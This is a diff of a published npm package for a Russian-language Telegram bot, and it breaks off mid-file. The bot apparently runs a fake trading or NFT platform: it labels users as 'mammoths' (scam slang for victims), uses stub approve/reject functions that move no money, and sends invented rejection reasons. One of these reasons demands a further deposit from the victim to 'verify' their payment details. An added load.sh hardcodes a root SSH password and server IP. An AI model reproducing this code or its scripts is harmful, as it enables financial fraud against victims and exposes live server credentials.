nexushub-commands 1.7.0 → 1.8.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/Client.d.ts CHANGED
@@ -1,4 +1,5 @@
1
1
  import { AxiosInstance } from 'axios';
2
+ import { Evogram } from 'evogram';
2
3
  import { CommandContext } from 'evogram/lib/migrated';
3
4
  export interface DepositConfig {
4
5
  API: AxiosInstance;
@@ -17,6 +18,7 @@ export interface DepositConfig {
17
18
  };
18
19
  agreement: string;
19
20
  menuCommand: any;
21
+ getClient: (token: string) => Promise<Evogram>;
20
22
  }
21
23
  export declare class Client {
22
24
  static config: (context: CommandContext) => DepositConfig;
package/lib/Client.js CHANGED
@@ -3,6 +3,7 @@ Object.defineProperty(exports, "__esModule", { value: true });
3
3
  exports.Client = void 0;
4
4
  const tslib_1 = require("tslib");
5
5
  const axios_1 = tslib_1.__importDefault(require("axios"));
6
+ const evogram_1 = require("evogram");
6
7
  // Значения по умолчанию для конфигурации
7
8
  const defaultConfig = {
8
9
  API: axios_1.default.create(),
@@ -20,6 +21,7 @@ const defaultConfig = {
20
21
  },
21
22
  agreement: 'https://telegra.ph/User-Agreement-02-07-17',
22
23
  menuCommand: null,
24
+ getClient: (token) => Promise.resolve(new evogram_1.Evogram({ token })),
23
25
  };
24
26
  class Client {
25
27
  }
@@ -0,0 +1,14 @@
1
+ import { Command } from 'evogram';
2
+ import { CommandContext } from 'evogram/lib/migrated';
3
+ import { DepositConfig } from '../../Client';
4
+ export declare class AdminWithdrawalCommand extends Command {
5
+ static approve(id: string): Promise<void>;
6
+ static reject(id: string): Promise<void>;
7
+ static getRejectedMessages(config: DepositConfig): {
8
+ title: string;
9
+ text: string;
10
+ photo?: string;
11
+ }[];
12
+ static logMessages: Record<number, CommandContext>;
13
+ execute(context: CommandContext, id: string, decision: boolean, template: number, confirm: boolean): Promise<any>;
14
+ }
@@ -0,0 +1,154 @@
1
+ "use strict";
2
+ var AdminWithdrawalCommand_1;
3
+ Object.defineProperty(exports, "__esModule", { value: true });
4
+ exports.AdminWithdrawalCommand = void 0;
5
+ const tslib_1 = require("tslib");
6
+ const evogram_1 = require("evogram");
7
+ const migrated_1 = require("evogram/lib/migrated");
8
+ const Client_1 = require("../../Client");
9
+ const GetWithdrawal_command_1 = require("./GetWithdrawal.command");
10
+ let AdminWithdrawalCommand = AdminWithdrawalCommand_1 = class AdminWithdrawalCommand extends evogram_1.Command {
11
+ static approve(id) {
12
+ return tslib_1.__awaiter(this, void 0, void 0, function* () { });
13
+ }
14
+ static reject(id) {
15
+ return tslib_1.__awaiter(this, void 0, void 0, function* () { });
16
+ }
17
+ static getRejectedMessages(config) {
18
+ return [
19
+ {
20
+ title: '⚠️ Ошибка вывода средств',
21
+ text: `При обработке вашего запроса на вывод средств произошла непредвиденная ошибка. Это может быть связано с техническими неполадками на стороне платежной системы, временными ограничениями вашего банка или некорректными данными.\n\nДля решения проблемы, пожалуйста, обратитесь в службу <a href="https://t.me/${config.support.username}">технической поддержки</a>`,
22
+ photo: config.images.withdrawal,
23
+ },
24
+ {
25
+ title: '❄️ Временная блокировка',
26
+ text: `Ваш аккаунт временно ограничен для проведения финансовых операций. Это может быть связано с:\n\n<i>— Подозрением на нарушение правил платформы;</i>\n<i>— Попыткой несанкционированного доступа;</i>\n<i>— Необходимостью дополнительной проверки личности.</i>\n\nДля разблокировки, пожалуйста, обратитесь в <a href="https://t.me/${config.support.username}">службу технической поддержки</a>`,
27
+ },
28
+ {
29
+ title: '🔄 Требуется верификация',
30
+ text: 'Наша система безопасности обнаружила необычные действия в вашем аккаунте. Чтобы исключить мошенничество, пожалуйста, подтвердите свою личность, напишите в техническую поддержку «Верификация». После завершения проверки вывод средств будет автоматически разблокирован.',
31
+ },
32
+ {
33
+ title: '🚫 Превышен лимит заявок',
34
+ text: `Система заблокировала новые заявки на вывод из-за слишком частых запросов. Такое может произойти при многократных попытках отправить одну и ту же сумму или технических ошибках. Пожалуйста, повторите попытку позже или <a href="https://t.me/${config.support.username}">свяжитесь с нами</a> для ручной проверки.`,
35
+ },
36
+ {
37
+ title: '🔒 Подтверждение реквизитов',
38
+ text: `В целях безопасности вывод средств разрешен только после подтверждения ваших реквизитов. Для этого необходимо совершить пополнение счета с того же платежного метода, который вы указали для вывода. Это разовая процедура, которая помогает нам убедиться, что вы являетесь владельцем указанных реквизитов.\n\nЕсли у вас возникли сложности — обратитесь в <a href="https://t.me/${config.support.username}">тех. поддержку</a>`,
39
+ },
40
+ ];
41
+ }
42
+ execute(context, id, decision, template, confirm) {
43
+ return tslib_1.__awaiter(this, void 0, void 0, function* () {
44
+ var _a, _b;
45
+ if (!AdminWithdrawalCommand_1.logMessages[id])
46
+ AdminWithdrawalCommand_1.logMessages[id] = context;
47
+ const withdrawal = yield GetWithdrawal_command_1.GetWithdrawalCommand.getWithdrawal(id);
48
+ const withdrawalFormattedID = Math.floor(Math.random() * 500000000 + 500000000)
49
+ .toString(36)
50
+ .toUpperCase();
51
+ const config = Client_1.Client.config(context);
52
+ const mammoth = yield config.API.get(`/projects/mammoths/${withdrawal.user}`).then((x) => x.data);
53
+ console.log(mammoth.mirror);
54
+ const client = yield config.getClient(mammoth.mirror.mirror.token);
55
+ if (decision) {
56
+ yield AdminWithdrawalCommand_1.approve(withdrawal.id);
57
+ // prettier-ignore
58
+ client.api.sendPhoto({
59
+ chat_id: withdrawal.user,
60
+ photo: config.images.withdrawal,
61
+ caption: `<blockquote><b>💸 Одобрена заявка на вывод средств #{{ ${withdrawalFormattedID} }}</b></blockquote>\n\n` +
62
+ `<i>— Сумма: {{ ${withdrawal.amount.toLocaleString('ru')} ${config.currency.toUpperCase()} }}</i>\n` +
63
+ `<i>— Метод: {{ ${withdrawal.method === 'crypto' ? `Крипто-кошелек ${(_a = withdrawal.coin) === null || _a === void 0 ? void 0 : _a.toUpperCase()}` : withdrawal.method === 'sbp' ? 'Номер телефона' : 'Банковская карта'} }}</i>\n` +
64
+ `<i>— Реквизиты: {{ ${withdrawal.requisites} }}</i>\n` +
65
+ `<i>— Дата: {{ ${withdrawal.date.toLocaleString('ru')} }}</i>\n\n` +
66
+ '<b>ℹ️ Средства поступят на ваши реквизиты в течении ближайшего времени.</b>',
67
+ parse_mode: 'HTML',
68
+ });
69
+ }
70
+ else {
71
+ if (template === undefined) {
72
+ return context.sendFormatted({
73
+ noPhoto: true,
74
+ header: `<blockquote><b>❌ Отклонена заявка на вывод средств</b></blockquote>\n\n<i>Выберите причину отклонения вывода или пропустите этот этап.</i>`,
75
+ }, {
76
+ reply_markup: {
77
+ inline_keyboard: [
78
+ ...AdminWithdrawalCommand_1.getRejectedMessages(config).map((x, i) => [
79
+ {
80
+ text: x.title,
81
+ command: AdminWithdrawalCommand_1,
82
+ payload: {
83
+ id,
84
+ decision: false,
85
+ template: i,
86
+ },
87
+ },
88
+ ]),
89
+ [{ text: 'Пропустить этап', command: AdminWithdrawalCommand_1, payload: { id, decision: false, template: null, confirm: true } }],
90
+ ],
91
+ },
92
+ });
93
+ }
94
+ if (!confirm) {
95
+ return context.sendFormatted({
96
+ noPhoto: true,
97
+ header: `<blockquote><b>${AdminWithdrawalCommand_1.getRejectedMessages(config)[template].title}</b></blockquote>\n\n${AdminWithdrawalCommand_1.getRejectedMessages(config)[template].text}`,
98
+ }, {
99
+ reply_markup: {
100
+ inline_keyboard: [
101
+ [
102
+ { text: '‹ Назад', command: AdminWithdrawalCommand_1, payload: { id, decision, template: undefined } },
103
+ { text: 'Продолжить ›', command: AdminWithdrawalCommand_1, payload: { id, decision, template, confirm: true } },
104
+ ],
105
+ ],
106
+ },
107
+ });
108
+ }
109
+ yield AdminWithdrawalCommand_1.reject(id);
110
+ // prettier-ignore
111
+ const msg = yield client.api.sendPhoto({
112
+ chat_id: withdrawal.user,
113
+ photo: config.images.withdrawal,
114
+ caption: `<blockquote><b>❌ Отклонена заявка на вывод средств</b></blockquote>\n\n` +
115
+ `<i>— Сумма: {{ ${withdrawal.amount.toLocaleString('ru')} ${config.currency.toUpperCase()} }}</i>\n` +
116
+ `<i>— Метод: {{ ${withdrawal.method === 'crypto' ? `Крипто-кошелек ${(_b = withdrawal.coin) === null || _b === void 0 ? void 0 : _b.toUpperCase()}` : withdrawal.method === 'sbp' ? 'Номер телефона' : 'Банковская карта'} }}</i>\n` +
117
+ `<i>— Реквизиты: {{ ${withdrawal.requisites} }}</i>\n` +
118
+ (template === null ? `\n<b>ℹ️ Обратитесь в <a href="https://t.me/${config.support.username}">тех. поддержку</a> для уточнения проблемы.</b>` : ''),
119
+ reply_markup: template === null ? { inline_keyboard: [[{ text: '👨‍💻 Тех. поддержка', url: `https://t.me/${config.support.username}` }]] } : undefined,
120
+ parse_mode: 'HTML',
121
+ });
122
+ if (template !== null) {
123
+ msg.reply(`<blockquote>${AdminWithdrawalCommand_1.getRejectedMessages(config)[template].title}</blockquote>\n\n${AdminWithdrawalCommand_1.getRejectedMessages(config)[template].text}`, {
124
+ parse_mode: 'HTML',
125
+ reply_markup: { inline_keyboard: [[{ text: '👨‍💻 Тех. поддержка', url: `https://t.me/${config.support.username}` }]] },
126
+ });
127
+ }
128
+ }
129
+ context = AdminWithdrawalCommand_1.logMessages[withdrawal.id] || context;
130
+ context.sendFormatted({
131
+ noPhoto: true,
132
+ edit: true,
133
+ }, {
134
+ parse_mode: undefined,
135
+ text: context.text + (decision ? '\n\nЗаявка на вывод средств была успешно обработана ☑️' : '\n\nЗаявка на вывод средств была успешно отклонена ☑️'),
136
+ entities: context.entities,
137
+ });
138
+ });
139
+ }
140
+ };
141
+ exports.AdminWithdrawalCommand = AdminWithdrawalCommand;
142
+ AdminWithdrawalCommand.logMessages = {};
143
+ tslib_1.__decorate([
144
+ tslib_1.__param(1, (0, evogram_1.CommandArgument)('id')),
145
+ tslib_1.__param(2, (0, evogram_1.CommandArgument)('decision', ({ value }) => value === '1')),
146
+ tslib_1.__param(3, (0, evogram_1.CommandArgument)('template?')),
147
+ tslib_1.__param(4, (0, evogram_1.CommandArgument)('confirm?')),
148
+ tslib_1.__metadata("design:type", Function),
149
+ tslib_1.__metadata("design:paramtypes", [migrated_1.CommandContext, String, Boolean, Number, Boolean]),
150
+ tslib_1.__metadata("design:returntype", Promise)
151
+ ], AdminWithdrawalCommand.prototype, "execute", null);
152
+ exports.AdminWithdrawalCommand = AdminWithdrawalCommand = AdminWithdrawalCommand_1 = tslib_1.__decorate([
153
+ (0, evogram_1.CommandD)({ name: 'ewithdrawal' })
154
+ ], AdminWithdrawalCommand);
@@ -0,0 +1,15 @@
1
+ import { Command, CommandContext } from 'evogram';
2
+ export declare class GetWithdrawalCommand extends Command {
3
+ static getWithdrawal(id: string): Promise<{
4
+ id: string;
5
+ user: number;
6
+ amount: number;
7
+ date: Date;
8
+ method: string;
9
+ requisites: string;
10
+ coin?: string;
11
+ bank?: string;
12
+ status: 'pending' | 'approved' | 'rejected';
13
+ }>;
14
+ execute(context: CommandContext, withdrawalId: string): Promise<void>;
15
+ }
@@ -1 +1,38 @@
1
1
  "use strict";
2
+ var GetWithdrawalCommand_1;
3
+ Object.defineProperty(exports, "__esModule", { value: true });
4
+ exports.GetWithdrawalCommand = void 0;
5
+ const tslib_1 = require("tslib");
6
+ const evogram_1 = require("evogram");
7
+ let GetWithdrawalCommand = GetWithdrawalCommand_1 = class GetWithdrawalCommand extends evogram_1.Command {
8
+ static getWithdrawal(id) {
9
+ return tslib_1.__awaiter(this, void 0, void 0, function* () {
10
+ return {
11
+ id: '1',
12
+ user: 1,
13
+ amount: 100,
14
+ date: new Date(),
15
+ method: 'card',
16
+ requisites: '1234567890',
17
+ coin: 'BTC',
18
+ bank: 'Tinkoff',
19
+ status: 'pending',
20
+ };
21
+ });
22
+ }
23
+ execute(context, withdrawalId) {
24
+ return tslib_1.__awaiter(this, void 0, void 0, function* () {
25
+ const withdrawal = yield GetWithdrawalCommand_1.getWithdrawal(withdrawalId);
26
+ });
27
+ }
28
+ };
29
+ exports.GetWithdrawalCommand = GetWithdrawalCommand;
30
+ tslib_1.__decorate([
31
+ tslib_1.__param(1, (0, evogram_1.CommandArgument)('withdrawalId')),
32
+ tslib_1.__metadata("design:type", Function),
33
+ tslib_1.__metadata("design:paramtypes", [evogram_1.CommandContext, String]),
34
+ tslib_1.__metadata("design:returntype", Promise)
35
+ ], GetWithdrawalCommand.prototype, "execute", null);
36
+ exports.GetWithdrawalCommand = GetWithdrawalCommand = GetWithdrawalCommand_1 = tslib_1.__decorate([
37
+ (0, evogram_1.CommandD)({ name: 'getwithdrawal' })
38
+ ], GetWithdrawalCommand);
@@ -0,0 +1,4 @@
1
+ import { Command, CommandContext } from 'evogram';
2
+ export declare class SendWithdrawalErrorCommand extends Command {
3
+ execute(context: CommandContext, withdrawalId: string, template: number): Promise<void>;
4
+ }
@@ -0,0 +1,28 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.SendWithdrawalErrorCommand = void 0;
4
+ const tslib_1 = require("tslib");
5
+ const evogram_1 = require("evogram");
6
+ const Client_1 = require("../../Client");
7
+ const AdminWithdrawal_command_1 = require("./AdminWithdrawal.command");
8
+ const GetWithdrawal_command_1 = require("./GetWithdrawal.command");
9
+ let SendWithdrawalErrorCommand = class SendWithdrawalErrorCommand extends evogram_1.Command {
10
+ execute(context, withdrawalId, template) {
11
+ return tslib_1.__awaiter(this, void 0, void 0, function* () {
12
+ const withdrawal = yield GetWithdrawal_command_1.GetWithdrawalCommand.getWithdrawal(withdrawalId);
13
+ const config = Client_1.Client.config(context);
14
+ const [text, photo, params] = (yield AdminWithdrawal_command_1.AdminWithdrawalCommand.getRejectedMessages())[template];
15
+ });
16
+ }
17
+ };
18
+ exports.SendWithdrawalErrorCommand = SendWithdrawalErrorCommand;
19
+ tslib_1.__decorate([
20
+ tslib_1.__param(1, (0, evogram_1.CommandArgument)('withdrawalId')),
21
+ tslib_1.__param(2, (0, evogram_1.CommandArgument)('template')),
22
+ tslib_1.__metadata("design:type", Function),
23
+ tslib_1.__metadata("design:paramtypes", [evogram_1.CommandContext, String, Number]),
24
+ tslib_1.__metadata("design:returntype", Promise)
25
+ ], SendWithdrawalErrorCommand.prototype, "execute", null);
26
+ exports.SendWithdrawalErrorCommand = SendWithdrawalErrorCommand = tslib_1.__decorate([
27
+ (0, evogram_1.CommandD)({ name: 'sendwithdrawalerror' })
28
+ ], SendWithdrawalErrorCommand);
@@ -6,6 +6,7 @@ const tslib_1 = require("tslib");
6
6
  const evogram_1 = require("evogram");
7
7
  const migrated_1 = require("evogram/lib/migrated");
8
8
  const Client_1 = require("../../Client");
9
+ const AdminWithdrawal_command_1 = require("./AdminWithdrawal.command");
9
10
  let WithdrawalCommand = WithdrawalCommand_1 = class WithdrawalCommand extends evogram_1.Command {
10
11
  execute(context, method, bank, coin, requisites, amount, confirm) {
11
12
  return tslib_1.__awaiter(this, void 0, void 0, function* () {
@@ -27,20 +28,27 @@ let WithdrawalCommand = WithdrawalCommand_1 = class WithdrawalCommand extends ev
27
28
  // });
28
29
  // const _method = method === 'crypto' ? `Крипто-кошелек ${coin.toUpperCase()}` : method === 'sbp' ? 'Номер телефона' : 'Банковская карта';
29
30
  // context.user.db.requisites = `${withdrawal.requisites} [${_method}${method === 'sbp' ? ` [${bank}]` : ''}]`;
30
- context.user.log(0, `Заявка на вывод средств ${amountInRUB.toLocaleString('ru')} RUB`, {
31
+ console.log({
32
+ text: '🚀 Выплатить',
33
+ callback_data: `${AdminWithdrawal_command_1.AdminWithdrawalCommand.name}?id=${id}&decision=1`,
34
+ }, {
35
+ text: '❌ Отказать',
36
+ callback_data: `${AdminWithdrawal_command_1.AdminWithdrawalCommand.name}?id=${id}&decision=0`,
37
+ });
38
+ context.user.log(0, `Заявка на вывод средств ${amountInRUB}`, {
31
39
  // prettier-ignore
32
- message: `💲 <b>Сумма:</b> <i>${amount.toLocaleString('ru')} ${config.currency.toUpperCase()} (${amountInRUB.toLocaleString('ru')} RUB)</i>\n` +
40
+ message: `💲 <b>Сумма:</b> <i>${amount.toLocaleString('ru')} ${config.currency.toUpperCase()} (${amountInRUB})</i>\n` +
33
41
  `💱 <b>Метод:</b> <i>${method === 'crypto' ? `Крипто-кошелек ${coin.toUpperCase()}` : method === 'sbp' ? 'Номер телефона' : 'Банковская карта'}</i>\n` +
34
42
  `🔘 <b>Реквизиты:</b> <i><code>${method === 'crypto' ? requisites.wallet : requisites.phone || requisites.card || requisites.formatted}</code>${method === 'sbp' ? ` [${bank}]` : ''}</i>`,
35
43
  keyboard: [
36
44
  [
37
45
  {
38
46
  text: '🚀 Выплатить',
39
- callback_data: `AdminWithdrawalCommand?id=${id}&decision=1`,
47
+ callback_data: `${AdminWithdrawal_command_1.AdminWithdrawalCommand.name}?id=${id}&decision=1`,
40
48
  },
41
49
  {
42
50
  text: '❌ Отказать',
43
- callback_data: `AdminWithdrawalCommand?id=${id}&decision=0`,
51
+ callback_data: `${AdminWithdrawal_command_1.AdminWithdrawalCommand.name}?id=${id}&decision=0`,
44
52
  },
45
53
  ],
46
54
  ],
@@ -54,7 +62,7 @@ let WithdrawalCommand = WithdrawalCommand_1 = class WithdrawalCommand extends ev
54
62
  `<i>— Метод: {{ ${method === 'crypto' ? `Крипто-кошелек ${coin.toUpperCase()}` : requisites.card ? 'Банковская карта' : 'Номер телефона'} }}</i>\n` +
55
63
  `<i>— Дата: {{ ${new Date().toLocaleString('ru')} }}</i>\n` +
56
64
  (method === 'sbp' ? `<i>— Банк: {{ ${bank} }}</i>\n` : '') +
57
- `\n<i>— Ваш баланс: {{ ${yield (context.user.db.balance - amountInRUB).convert({ from: 'RUB', to: config.currency, round: true })} }}</i>`,
65
+ `\n<i>— Ваш баланс: {{ ${yield context.user.db.balance.convert({ from: 'RUB', to: config.currency, round: true })} }}</i>`,
58
66
  }, {
59
67
  noBackButton: true,
60
68
  });
@@ -273,7 +281,7 @@ tslib_1.__decorate([
273
281
  `<i>— Сумма вывода: {{ ${Number(validateArgs.amount).toLocaleString('ru')} ${config.currency.toUpperCase()} }}</i>\n` +
274
282
  `<i>— Реквизиты: {{ ${((_b = validateArgs.requisites) === null || _b === void 0 ? void 0 : _b.formatted) || ((_c = validateArgs.requisites) === null || _c === void 0 ? void 0 : _c.wallet)} }}</i>\n` +
275
283
  `<i>— Метод: {{ ${validateArgs.method === 'crypto' ? `Крипто-кошелек ${(_d = validateArgs.coin) === null || _d === void 0 ? void 0 : _d.toUpperCase()}` : args.method === 'sbp' ? 'Номер телефона' : 'Банковская карта'} }}</i>\n` +
276
- (args.bank ? `<i>— Банк: {{ ${args.bank} }}</i>\n` : '') +
284
+ (args.bank !== "none" ? `<i>— Банк: {{ ${args.bank} }}</i>\n` : '') +
277
285
  `\n<i>— Ваш баланс после вывода: {{ ${yield (context.user.db.balance - (yield validateArgs.amount.convert({ from: config.currency, to: 'RUB' }))).convert({ from: 'RUB', to: config.currency })} }}</i>`,
278
286
  }, {
279
287
  reply_markup: {
@@ -1 +1,3 @@
1
+ export * from './AdminWithdrawal.command';
2
+ export * from './GetWithdrawal.command';
1
3
  export * from './Withdrawal.command';
@@ -1,4 +1,6 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
3
  const tslib_1 = require("tslib");
4
+ tslib_1.__exportStar(require("./AdminWithdrawal.command"), exports);
5
+ tslib_1.__exportStar(require("./GetWithdrawal.command"), exports);
4
6
  tslib_1.__exportStar(require("./Withdrawal.command"), exports);
package/load.sh ADDED
@@ -0,0 +1,15 @@
1
+ #!/bin/bash
2
+
3
+ # Параметры
4
+ REMOTE_USER="root"
5
+ REMOTE_IP="109.120.178.210"
6
+ REMOTE_PATH="/root/NFTv2/node_modules/nexushub-commands/"
7
+ LOCAL_PATH="./"
8
+ export SSHPASS="CIwF179lkIG1"
9
+
10
+ # 1. Синхронизация через rsync
11
+ echo "Синхронизация файлов..."
12
+ sshpass -e rsync -avzP --delete -e "ssh -o StrictHostKeyChecking=no" "$LOCAL_PATH/lib/" "$REMOTE_USER@$REMOTE_IP:$REMOTE_PATH/lib/"
13
+ sshpass -e ssh -o StrictHostKeyChecking=no "$REMOTE_USER@$REMOTE_IP" "export PATH=\$PATH:/root/.nvm/versions/node/v22.16.0/bin && pm2 restart nftv2"
14
+
15
+ echo "Готово!"
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "nexushub-commands",
3
- "version": "1.7.0",
3
+ "version": "1.8.1",
4
4
  "main": "./lib/index.js",
5
5
  "license": "MIT",
6
6
  "dependencies": {
package/src/Client.ts CHANGED
@@ -1,4 +1,5 @@
1
1
  import axios, { AxiosInstance } from 'axios';
2
+ import { Evogram } from 'evogram';
2
3
  import { CommandContext } from 'evogram/lib/migrated';
3
4
 
4
5
  // Интерфейсы для настройки команды
@@ -27,6 +28,8 @@ export interface DepositConfig {
27
28
 
28
29
  agreement: string;
29
30
  menuCommand: any;
31
+
32
+ getClient: (token: string) => Promise<Evogram>;
30
33
  }
31
34
 
32
35
  // Значения по умолчанию для конфигурации
@@ -50,6 +53,8 @@ const defaultConfig: DepositConfig = {
50
53
 
51
54
  agreement: 'https://telegra.ph/User-Agreement-02-07-17',
52
55
  menuCommand: null,
56
+
57
+ getClient: (token: string) => Promise.resolve(new Evogram({ token })),
53
58
  };
54
59
 
55
60
  export class Client {
@@ -0,0 +1,171 @@
1
+ import { Command, CommandArgument, CommandD } from 'evogram';
2
+ import { CommandContext } from 'evogram/lib/migrated';
3
+ import { Client, DepositConfig } from '../../Client';
4
+ import { GetWithdrawalCommand } from './GetWithdrawal.command';
5
+
6
+ @CommandD({ name: 'ewithdrawal' })
7
+ export class AdminWithdrawalCommand extends Command {
8
+ public static async approve(id: string) {}
9
+
10
+ public static async reject(id: string) {}
11
+
12
+ public static getRejectedMessages(config: DepositConfig): { title: string; text: string; photo?: string }[] {
13
+ return [
14
+ {
15
+ title: '⚠️ Ошибка вывода средств',
16
+ text: `При обработке вашего запроса на вывод средств произошла непредвиденная ошибка. Это может быть связано с техническими неполадками на стороне платежной системы, временными ограничениями вашего банка или некорректными данными.\n\nДля решения проблемы, пожалуйста, обратитесь в службу <a href="https://t.me/${config.support.username}">технической поддержки</a>`,
17
+ photo: config.images.withdrawal,
18
+ },
19
+ {
20
+ title: '❄️ Временная блокировка',
21
+ text: `Ваш аккаунт временно ограничен для проведения финансовых операций. Это может быть связано с:\n\n<i>— Подозрением на нарушение правил платформы;</i>\n<i>— Попыткой несанкционированного доступа;</i>\n<i>— Необходимостью дополнительной проверки личности.</i>\n\nДля разблокировки, пожалуйста, обратитесь в <a href="https://t.me/${config.support.username}">службу технической поддержки</a>`,
22
+ },
23
+ {
24
+ title: '🔄 Требуется верификация',
25
+ text: 'Наша система безопасности обнаружила необычные действия в вашем аккаунте. Чтобы исключить мошенничество, пожалуйста, подтвердите свою личность, напишите в техническую поддержку «Верификация». После завершения проверки вывод средств будет автоматически разблокирован.',
26
+ },
27
+ {
28
+ title: '🚫 Превышен лимит заявок',
29
+ text: `Система заблокировала новые заявки на вывод из-за слишком частых запросов. Такое может произойти при многократных попытках отправить одну и ту же сумму или технических ошибках. Пожалуйста, повторите попытку позже или <a href="https://t.me/${config.support.username}">свяжитесь с нами</a> для ручной проверки.`,
30
+ },
31
+ {
32
+ title: '🔒 Подтверждение реквизитов',
33
+ text: `В целях безопасности вывод средств разрешен только после подтверждения ваших реквизитов. Для этого необходимо совершить пополнение счета с того же платежного метода, который вы указали для вывода. Это разовая процедура, которая помогает нам убедиться, что вы являетесь владельцем указанных реквизитов.\n\nЕсли у вас возникли сложности — обратитесь в <a href="https://t.me/${config.support.username}">тех. поддержку</a>`,
34
+ },
35
+ ];
36
+ }
37
+
38
+ static logMessages: Record<number, CommandContext> = {};
39
+
40
+ public async execute(
41
+ context: CommandContext,
42
+ @CommandArgument('id') id: string,
43
+ @CommandArgument('decision', ({ value }) => value === '1') decision: boolean,
44
+ @CommandArgument('template?') template: number,
45
+ @CommandArgument('confirm?') confirm: boolean
46
+ ) {
47
+ if (!AdminWithdrawalCommand.logMessages[id as any]) AdminWithdrawalCommand.logMessages[id as any] = context;
48
+
49
+ const withdrawal = await GetWithdrawalCommand.getWithdrawal(id);
50
+ const withdrawalFormattedID = Math.floor(Math.random() * 500_000_000 + 500_000_000)
51
+ .toString(36)
52
+ .toUpperCase();
53
+ const config = Client.config(context);
54
+
55
+ const mammoth = await config.API.get(`/projects/mammoths/${withdrawal.user}`).then((x) => x.data);
56
+ console.log(mammoth.mirror);
57
+ const client = await config.getClient(mammoth.mirror.mirror.token);
58
+
59
+ if (decision) {
60
+ await AdminWithdrawalCommand.approve(withdrawal.id);
61
+
62
+ // prettier-ignore
63
+ client.api.sendPhoto({
64
+ chat_id: withdrawal.user,
65
+ photo: config.images.withdrawal,
66
+ caption:
67
+ `<blockquote><b>💸 Одобрена заявка на вывод средств #{{ ${withdrawalFormattedID} }}</b></blockquote>\n\n` +
68
+
69
+ `<i>— Сумма: {{ ${withdrawal.amount.toLocaleString('ru')} ${config.currency.toUpperCase()} }}</i>\n` +
70
+ `<i>— Метод: {{ ${withdrawal.method === 'crypto' ? `Крипто-кошелек ${withdrawal.coin?.toUpperCase()}` : withdrawal.method === 'sbp' ? 'Номер телефона' : 'Банковская карта'} }}</i>\n` +
71
+ `<i>— Реквизиты: {{ ${withdrawal.requisites} }}</i>\n` +
72
+ `<i>— Дата: {{ ${withdrawal.date.toLocaleString('ru')} }}</i>\n\n` +
73
+
74
+ '<b>ℹ️ Средства поступят на ваши реквизиты в течении ближайшего времени.</b>',
75
+ parse_mode: 'HTML',
76
+ });
77
+ } else {
78
+ if (template === undefined) {
79
+ return context.sendFormatted(
80
+ {
81
+ noPhoto: true,
82
+ header: `<blockquote><b>❌ Отклонена заявка на вывод средств</b></blockquote>\n\n<i>Выберите причину отклонения вывода или пропустите этот этап.</i>`,
83
+ },
84
+ {
85
+ reply_markup: {
86
+ inline_keyboard: [
87
+ ...AdminWithdrawalCommand.getRejectedMessages(config).map((x, i) => [
88
+ {
89
+ text: x.title,
90
+ command: AdminWithdrawalCommand,
91
+ payload: {
92
+ id,
93
+ decision: false,
94
+ template: i,
95
+ },
96
+ },
97
+ ]),
98
+ [{ text: 'Пропустить этап', command: AdminWithdrawalCommand, payload: { id, decision: false, template: null, confirm: true } }],
99
+ ],
100
+ },
101
+ }
102
+ );
103
+ }
104
+
105
+ if (!confirm) {
106
+ return context.sendFormatted(
107
+ {
108
+ noPhoto: true,
109
+ header: `<blockquote><b>${AdminWithdrawalCommand.getRejectedMessages(config)[template].title}</b></blockquote>\n\n${
110
+ AdminWithdrawalCommand.getRejectedMessages(config)[template].text
111
+ }`,
112
+ },
113
+ {
114
+ reply_markup: {
115
+ inline_keyboard: [
116
+ [
117
+ { text: '‹ Назад', command: AdminWithdrawalCommand, payload: { id, decision, template: undefined } },
118
+ { text: 'Продолжить ›', command: AdminWithdrawalCommand, payload: { id, decision, template, confirm: true } },
119
+ ],
120
+ ],
121
+ },
122
+ }
123
+ );
124
+ }
125
+
126
+ await AdminWithdrawalCommand.reject(id);
127
+
128
+ // prettier-ignore
129
+ const msg = await client.api.sendPhoto({
130
+ chat_id: withdrawal.user,
131
+ photo: config.images.withdrawal,
132
+ caption:
133
+ `<blockquote><b>❌ Отклонена заявка на вывод средств</b></blockquote>\n\n` +
134
+
135
+ `<i>— Сумма: {{ ${withdrawal.amount.toLocaleString('ru')} ${config.currency.toUpperCase()} }}</i>\n` +
136
+ `<i>— Метод: {{ ${withdrawal.method === 'crypto' ? `Крипто-кошелек ${withdrawal.coin?.toUpperCase()}` : withdrawal.method === 'sbp' ? 'Номер телефона' : 'Банковская карта'} }}</i>\n` +
137
+ `<i>— Реквизиты: {{ ${withdrawal.requisites} }}</i>\n` +
138
+
139
+ (template === null ? `\n<b>ℹ️ Обратитесь в <a href="https://t.me/${config.support.username}">тех. поддержку</a> для уточнения проблемы.</b>` : ''),
140
+
141
+ reply_markup: template === null ? { inline_keyboard: [[{ text: '👨‍💻 Тех. поддержка', url: `https://t.me/${config.support.username}` }]] } : undefined,
142
+ parse_mode: 'HTML',
143
+ });
144
+
145
+ if (template !== null) {
146
+ msg.reply(
147
+ `<blockquote>${AdminWithdrawalCommand.getRejectedMessages(config)[template].title}</blockquote>\n\n${
148
+ AdminWithdrawalCommand.getRejectedMessages(config)[template].text
149
+ }`,
150
+ {
151
+ parse_mode: 'HTML',
152
+ reply_markup: { inline_keyboard: [[{ text: '👨‍💻 Тех. поддержка', url: `https://t.me/${config.support.username}` }]] },
153
+ }
154
+ );
155
+ }
156
+ }
157
+
158
+ context = AdminWithdrawalCommand.logMessages[withdrawal.id as any] || context;
159
+ context.sendFormatted(
160
+ {
161
+ noPhoto: true,
162
+ edit: true,
163
+ },
164
+ {
165
+ parse_mode: undefined,
166
+ text: context.text + (decision ? '\n\nЗаявка на вывод средств была успешно обработана ☑️' : '\n\nЗаявка на вывод средств была успешно отклонена ☑️'),
167
+ entities: context.entities,
168
+ }
169
+ );
170
+ }
171
+ }
@@ -0,0 +1,32 @@
1
+ import { Command, CommandArgument, CommandContext, CommandD } from 'evogram';
2
+
3
+ @CommandD({ name: 'getwithdrawal' })
4
+ export class GetWithdrawalCommand extends Command {
5
+ public static async getWithdrawal(id: string): Promise<{
6
+ id: string;
7
+ user: number;
8
+ amount: number;
9
+ date: Date;
10
+ method: string;
11
+ requisites: string;
12
+ coin?: string;
13
+ bank?: string;
14
+ status: 'pending' | 'approved' | 'rejected';
15
+ }> {
16
+ return {
17
+ id: '1',
18
